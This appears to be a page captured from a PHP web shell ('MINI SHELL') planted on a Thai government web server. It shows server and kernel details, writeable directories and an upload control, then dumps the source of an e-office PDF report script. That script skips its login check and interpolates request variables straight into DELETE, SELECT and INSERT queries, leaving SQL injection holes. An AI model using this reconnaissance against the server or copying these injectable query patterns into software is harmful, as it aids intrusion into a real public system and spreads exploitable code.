MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/eoffice/application/document/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/eoffice/application/document/pdf_report.php
<?
	session_start();
	$nochecklogin= true;
//	$tag_openner="off";
//	include("../../common/function.php");
	
	define('FPDF_FONTPATH','fpdf/font/');
	define('DB',true,true);
	define('APPLICATION','CAR',true);
	include("../../config/config.inc.php");
	require('fpdf/fpdf.php');
	require('kp7_class.php');
	
	# Function - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	function getShDate( $ThisMonth, $ThisYear ){
		if ( $ThisMonth && $ThisYear ) {
			$arrMonth = array("ม.ค.", "ก.พ.", "มี.ค.", "เม.ษ.", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค.");
			$xMonth = $arrMonth[(int)$ThisMonth - 1];
			$xYear = $ThisYear + 543;
			return $xMonth . " " . $xYear;
		}
	}
	
	function getShortDate( $ThisDate ) {
		$arrMonth = array("ม.ค.", "ก.พ.", "มี.ค.", "เม.ษ.", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค.");
		
		if ( $ThisDate ) {
			list($xDate, $xMonth, $xYear) = split("-", $ThisDate);
			$strDate = sprintf("%s %s %s", $xDate, $arrMonth[(int)$xMonth - 1], $xYear + 543);
			return $strDate;
		}
	}

//function ที่ใช้แสดงวันที่แบบเต็ม ใช้ใน edocument
function daythai($temp){
if($temp != "0000-00-00"){

//	$month = array("มกราคม", "กุมภาพันธ์", "มีนาคม", "เมษายน", "พฤษภาคม", "มิถุนายน", "กรกฎาคม", "สิงหาคม", "กันยายน", "ตุลาคม", "พฤศจิกายน", "ธันวาคม");
	$month = array("ม.ค.", "ก.พ.", "มี.ค", "ม.ย", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย", "ต.ค.", "พ.ย.", "ธ.ค.");
	$num = explode("-", $temp);			
	if($num[0] == "0000"){
	  $date = "ไม่ระบุ";
	} else {
	  $tyear = $num[0] +  543;
//	  $date = remove_zero($num[2])."&nbsp;".$month[$num[1] - 1 ]."&nbsp;".$tyear;	
	  $date = $num[2]."/".$num[1]."/".$tyear;
	}

} else {
	$date = "ไม่ระบุ";
}	
	return $date;
}
	# End Function - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 if(($type=="get") || (!$type)){
$head_type="รับ";
 }else if($type=="send"){
$head_type="ส่ง";
 }else if($type=="circular"){
$head_type="เวียน";
 }else if($type=="cancel"){
$head_type="คุมยกเลิก";
 }
 if(!$page){
$sql_del_null_page="
DELETE FROM `doc_book` WHERE (`status`IS NULL ) AND (`owner`='$session_staffid') AND (`doc_type`='$type')
";
$result_del=mysql_query($sql_del_null_page);
}

	$header_th = "ทะเบียนหนังสือ$head_type ";
//	$header_date = "ระหว่างวันที่ ".$_POST['StartDate']." ถึงวันที่ ".$_POST['EndDate']."";
	$col_width = array(20,24,28,36,35,90,20,20);
	$hight_page=174;
	$row_s=8;
	$left_border="10";

	$pdf=new KP7();
	$pdf->AliasNbPages();
	$pdf->AddThaiFonts();

#ตามลำดับ
if($doc_begin){
$sql_doca="select id from document where docid='$doc_begin' and type='$type'";
$result = mysql_query($sql_doca)or die("Query line " . __LINE__ . " error<hr>".mysql_error()); 
$doc_a=mysql_fetch_assoc($result);
$page_begin=$doc_a[id];
}

if($doc_end){
$sql_doca="select id from document where docid='$doc_end' and type='$type'";
$result = mysql_query($sql_doca)or die("Query line " . __LINE__ . " error<hr>".mysql_error()); 
$doc_b=mysql_fetch_assoc($result);
$page_end=$doc_b[id];
}


#ตามวันที่
if(($pdate1)||($pdate2)){
	if(!$pdate1){$pdate1=$pdate2;}
	if(!$pdate2){$pdate2=$pdate1;}
	if($pdate1){
	$d = explode("/", $pdate1);
	$ndate1 = ($d[2] - 543)."-".$d[1]."-".$d[0];
	$d = explode("/", $pdate2);
	$ndate2 = ($d[2] - 543)."-".$d[1]."-".$d[0];
	$today_code=" document.time_rec BETWEEN '$ndate1 00:00' AND '$ndate2 23.59' ";

	$sql_doca="select min(id) as MIN ,max(id) as MAX from document where type='$type' and $today_code";
	$result = mysql_query($sql_doca)or die("Query line " . __LINE__ . " error<hr>".mysql_error()); 
	$doc_a=mysql_fetch_assoc($result);
	$page_begin=$doc_a[MIN];
	$page_end=$doc_a[MAX];
	}
}


if(!$page_begin){$page_begin=$page_end;}
if(!$page_end){$page_end=$page_begin;}
#Column Header#####
# QUERY #
if($type=="all"){$type="%%";}

if($page){
 $where_code.="AND document.id BETWEEN '$page_begin' AND '$page_end'";
}

# ทะเบียน ยกเลิก
if($type=="cancel"){$type="%%";  $where_code=" and doc_status='w' ";}
$sql="
SELECT
$distinct_mode
document.id,
document.docid,
document.number,
document.pdate,
document.`type`,
document.refid,
document.sending,
document.getting,
document.title,
document.`comment`,
document.`owner`,
document.`status`,
document.`mission`,
document.`speed`,
document.`secret`,
epm_staff.staffsurname,
epm_staff.staffname,
epm_staff.prename
FROM
document
Inner Join epm_staff ON document.owner = epm_staff.staffid
WHERE 
document.type LIKE '$type'
$year_select_code
$where_code
order by document.number ASC
";

# QUERY ##


$high_check="0";
$high_check=$hight_page;
$result = mysql_query($sql)or die("Query line " . __LINE__ . " error<hr>".mysql_error()); 
// if(!$ipage){$ipage="0";}
while($rs_doc=mysql_fetch_assoc($result)){ 

// เริ่ม LOOP WHILE
// คำนวณ HIGHT ที่ใช้ สำหรับ  ROW ปัจจุบัน
	$row_now_max=0;
	$arry_textbox="";
	foreach($rs_doc as $colump => $text){
	$arry_text= array();
	switch ($colump) {
		case "refid":			$col_var="12";			break;
		case "pdate":			$col_var="18";			break;
		case "sending":		$col_var="24";			break;
		case "getting":		$col_var="24";			break;
		case "title":				$col_var="48";			break;
		default:					$col_var="64";			break;
	}
	$arry_text=$pdf->alignstr($text,$col_var);
	$arry_textbox[$colump]=$pdf->alignstr($text,$col_var);
	$col_now_max=0;
		foreach($arry_text as $row => $word){
			$col_now_max++;
			if($row_now_max<=$col_now_max){
				$row_now_max=$col_now_max;
			}
		}
		$arry_rowof[$colump]=$col_now_max;
	}
		$col_height=$row_now_max*$row_s;
		$high_check+=$row_now_max*$row_s;

	# เมื่อ เกิน ความสูง 175  ให้ปัดเป็นหน้าใหม่ 
	if($high_check>=$hight_page){
		$high_check="0";

	if($session_gid){
		foreach($session_gid as $vid => $val){
			foreach($val as $v1 => $v2){
				$gid_selected=$v2;					
				}
			}
	}

		$sql_onsert_page="
		INSERT INTO `doc_book` 
		( `bid` , `doc_type` , `doc_page` , `doc_begin` , `doc_end` , `time_record` , `status` , `owner` , `owner_group` ) 
		VALUES 
		(NULL , '$type', '$ipage', '$bookpage_a[$ipage]', '$bookpage_b[$ipage]', '$sql_time', NULL, '$session_staffid', '$gid_selected')
		";

	if(!$page){
		if($ipage){
			$result_page=mysql_query($sql_onsert_page);
		}
	}
	######################################################################
	$pdf->AddPage('L');
	$ipage++;
	$bookpage_a[$ipage]=$rs_doc[id];
		
	$pdf->SetXY($left_border,$row_s*0);
	$pdf->SetFont('Angsana New','B',16);
	$pdf->Cell(60,15,$header_th,0,0,'L');
	$pdf->SetFont('Angsana New','',12);
	$pdf->Cell(10,15,$header_date,0,0,'L');
	$pdf->SetFont('Angsana New','',16);
			#Column Header#####
			
			$pdf->SetXY($left_border,$row_s*1.5);
			$col_height = 16;
			$pdf->SetFont('Angsana New','',16);
			
			$row1_x = $pdf->GetX();
			$row1_y = $pdf->GetY();
			$x = $row1_x;
			$y = $row1_y;
			$pdf->SetXY($x ,$y);
			$pdf->Cell($col_width[0],$col_height/2,"เลขทะเบียน $page_now[doc_begin]",1,0,'C');
			
			$x += $col_width[0];
			$y  = $row1_y;
			$pdf->SetXY($x ,$y);
			$pdf->Cell($col_width[1],($col_height/2),"ที่",1,0,'C');
			
			$x += $col_width[1];
			$y  = $row1_y;
			$pdf->SetXY($x ,$y);
			$pdf->Cell($col_width[2],($col_height/2),"ลงวันที่",1,0,'C');
			
			$x += $col_width[2];
			$y  = $row1_y;
			$pdf->SetXY($x ,$y);
			$pdf->Cell($col_width[3],($col_height/2),"จาก",1,0,'C');
			
			$x += $col_width[3];
			$y  = $row1_y;
			$pdf->SetXY($x ,$y);
			$pdf->Cell($col_width[4],($col_height/2),"ถึง",1,0,'C');
			
			$x += $col_width[4];
			$y  = $row1_y;
			$pdf->SetXY($x ,$y);
			$pdf->Cell($col_width[5],($col_height/2),"เรื่อง",1,0,'C');
			
			$x += $col_width[5];
			$y  = $row1_y;
			$pdf->SetXY($x ,$y);
			$pdf->Cell($col_width[6],($col_height/2),"การปฏิบัติ",1,0,'C');
			
			$x += $col_width[6];
			$y  = $row1_y;
			$pdf->SetXY($x ,$y);
			$pdf->Cell($col_width[7],$col_height/2,"หมายเหตุ",1,0,'C');
			
			$high_check=($row_s*(2.5))+($col_height*$i);
			$last_row="";
			
	######################################################################
	}
	

		$pdf->SetFont('Angsana New','',14);		
		$row1_x = $pdf->GetX();
		$row1_y = $pdf->GetY();
		if($last_row){$row1_y += +$last_row;}else{$row1_y = ($high_check);}


		$y = $row1_y;
		$x = $left_border;
		$pdf->SetXY($x ,$y);
		$pdf->Cell($col_width[0],($col_height),"",1,0,'C');
		$pdf->SetXY($x ,$y);
		$pdf->Cell($col_width[0],($col_height/$row_now_max),"$rs_doc[docid]",0,0,'C');			
		
		$x += $col_width[0];
		$y  = $row1_y;
		$pdf->SetXY($x ,$y);
		$pdf->Cell($col_width[1],($col_height),"",1,0,'C');
		$pdf->SetXY($x ,$y);
		$pdf->Cell($col_width[1],($col_height/$row_now_max),"",0,0,'L');		
		$row_i=0;
		$this_max=$arry_rowof[refid];
		foreach($arry_textbox[refid] as $a1 => $a2){
		$y= $row1_y+(($col_height/$this_max)*$a1);
		$pdf->SetXY($x ,$y);
		$row_i++;
			if($this_max){
			$pdf->Cell($col_width[5],($col_height/$row_now_max),"$a2",0,0,'L');
			}
		}	

		if($rs_doc[pdate]){
		$d = explode("-", $rs_doc[pdate]);
		$ndate = $d[2]."/".$d[1]."/".($d[0] + 543);
		$ndate =daythai($rs_doc[pdate]);
		}
		$x += $col_width[1];
		$y  = $row1_y;
		$pdf->SetXY($x ,$y);
		$pdf->Cell($col_width[2],($col_height),"",1,0,'L');
		$pdf->SetXY($x ,$y);
		$pdf->Cell($col_width[2],($col_height/$row_now_max),"$ndate",0,0,'C');
		

		$x += $col_width[2];
		$y  = $row1_y;
		$pdf->SetXY($x ,$y);
		$pdf->Cell($col_width[3],($col_height),"",1,0,'L');
		$row_i=0;
		$this_max=$arry_rowof[sending];
		foreach($arry_textbox[sending] as $a1 => $a2){
		$y= $row1_y+(($col_height/$this_max)*$a1);
		$pdf->SetXY($x ,$y);
		$row_i++;
			if($this_max){
			$pdf->Cell($col_width[5],($col_height/$row_now_max),"$a2",0,0,'L');
			}
		}

		
		$x += $col_width[3];
		$y  = $row1_y;
		$pdf->SetXY($x ,$y);
		$pdf->Cell($col_width[4],($col_height),"",1,0,'L');		
		$row_i=0;
		$this_max=$arry_rowof[getting];
		foreach($arry_textbox[getting] as $a1 => $a2){
		$y= $row1_y+(($col_height/$this_max)*$a1);
		$pdf->SetXY($x ,$y);
		$row_i++;
			if($this_max){
			$pdf->Cell($col_width[5],($col_height/$row_now_max),"$a2",0,0,'L');
			}
		}	
		
		$x += $col_width[4];
		$y  = $row1_y;
		$pdf->SetXY($x ,$y);
		$pdf->Cell($col_width[5],($col_height),"",1,0,'L');
		$row_i=0;
		$this_max=$arry_rowof[title];
		foreach($arry_textbox[title] as $a1 => $a2){
		$y= $row1_y+(($col_height/$this_max)*$a1);
		$pdf->SetXY($x ,$y);
		$row_i++;
			if($this_max){
			$pdf->Cell($col_width[5],($col_height/$row_now_max),"$a2",0,0,'L');
			}
		}
		


		$x += $col_width[5];
		$y  = $row1_y;
		$pdf->SetXY($x ,$y);
		$pdf->Cell($col_width[6],($col_height),"",1,0,'L');
		$row_i=0;
		$this_max=$arry_rowof[mission];
		foreach($arry_textbox[mission] as $a1 => $a2){
		$y= $row1_y+(($col_height/$this_max)*$a1);
		$pdf->SetXY($x ,$y);
		$row_i++;
			if($this_max){
			$pdf->Cell($col_width[6],($col_height/$row_now_max),"$a2",0,0,'L');
			}
		}


		$x += $col_width[6];
		$y  = $row1_y;
		$pdf->SetXY($x ,$y);
		$pdf->Cell($col_width[7],$col_height,"",1,0,'L');
		//$rs_doc[comment]
	
	
//$i++;
//	if($i==3){break;}
	$bookpage_b[$ipage]=$rs_doc[id];
	$last_row=$col_height;

}	// จบ LOOP WHILE


# END PDF
	$pdf->Output();
//	$pdf->Output($header_th.date("d-m-").(date("Y")+543).' ['.date("Hi").']'.'.pdf', 'D');
//	$pdf->Output($header_th.date("d-m-").(date("Y")+543).' ['.date("Hi").']'.'.pdf', 'D');
?>

Anon7 - 2021